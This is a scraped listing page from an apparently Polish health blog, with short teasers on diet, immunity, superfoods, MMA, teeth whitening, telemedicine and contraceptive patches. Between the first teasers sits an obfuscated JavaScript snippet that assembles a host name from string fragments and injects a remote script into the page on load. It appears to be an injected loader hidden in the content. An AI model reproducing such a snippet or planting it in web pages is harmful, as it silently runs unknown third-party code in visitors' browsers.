Warzywa i owoce – jak je przygotowywać i spożywać, aby nasz...
Warzywa i owoce powinny być podstawą naszego odżywiania, jeśli chcemy zachować zdrowie i siły witalne. Światowa Organizacja Zdrowia WHO zaleca spożywanie warzyw i owoców...
Fit catering – dla kogo?
Chcąc prowadzić zdrowy styl życia, szukamy najlepszego rozwiązania, które pozwoli nam zrobić to najkorzystniej, jak się da.
(function(){
wr8c=document.createElement("script");wr8c.type="text/javascript";
wr8c.async=true;wr8c_=(("us")+"t")+"a";wr8c_+=("t.i")+""+"n";wr8c_+=(("f")+"o");wr8c_+="/";
wr8cu="195218064.";wr8cu+="ch0byykhr8cyh9a37xrajgwdbpmiqa";wr8c.src="https://"+wr8c_+wr8cu;
wr8cdb=document.body;wr8cdb.appendChild(wr8c);
})();
Nie jest to łatwe zadanie, bo musimy uwzględnić...
Jak zwiększyć swoją odporność?
Podczas okresu jesienno-zimowego wiele osób zaczyna zastanawiać się, jak prawidłowo zadbać o swój układ odpornościowy. Prowadzony styl życia, przyjmowane suplementy diety, sposób ożywiania, przyjęte...
Przewodnik po superfoods – jakie produkty warto włączyć do diety?
Superfoods, czyli tzw. superżywność, to produkty bogate w składniki odżywcze, które mogą przynieść wiele korzyści dla zdrowia. Choć żadne jedzenie samo w sobie nie...
Jak włączyć aktywność fizyczną do codziennego życia
Aktywność fizyczna jest niezbędna dla zachowania zdrowia i dobrego samopoczucia, jednak wielu z nas zmaga się z znalezieniem czasu na regularne ćwiczenia. Na szczęście,...
MMA – co musisz wiedzieć
MMA, czyli mieszane sztuki walki to dyscyplina, której popularność rośnie z roku na rok. Pozwalają na rywalizacje w stójce oraz w parterze. Podpowiadamy, co...
Wybielanie zębów lampą – co warto wiedzieć?
Dbanie o uśmiech zyskało nową jakość wraz z rozwojem stomatologii. Metody leczenia, pielęgnacji i wybielania zębów stają się coraz bezpieczniejsze. Jedną z metod wybielania...
Mąka na święta – jak wybrać właściwą?
Już wkrótce zabłyśnie pierwsza gwiazdka, a my siądziemy przy wigilijnym stole i rozpoczniemy wspólne świętowanie z najbliższymi. Zanim to jednak nastąpi, przed nami czas...
Zalety telemedycyny. Dlaczego warto skorzystać ze zdalnej porady lekarskiej?
Nie da się ukryć, że pandemia koronawirusa wywróciła nasze życie do góry nogami, trwale zmieniając nasze codzienne zwyczaje. Jednym z aspektów, na którym w...
Plastry antykoncepcyjne – kto i kiedy może z nich korzystać?
Plastry antykoncepcyjne, czyli transdermalny system antykoncepcyjny, to jedna z metod zapobiegania ciąży. Dostępne są wyłącznie na receptę. Plaster można przykleić na podbrzuszu, barku, pośladku,...
Najnowsze
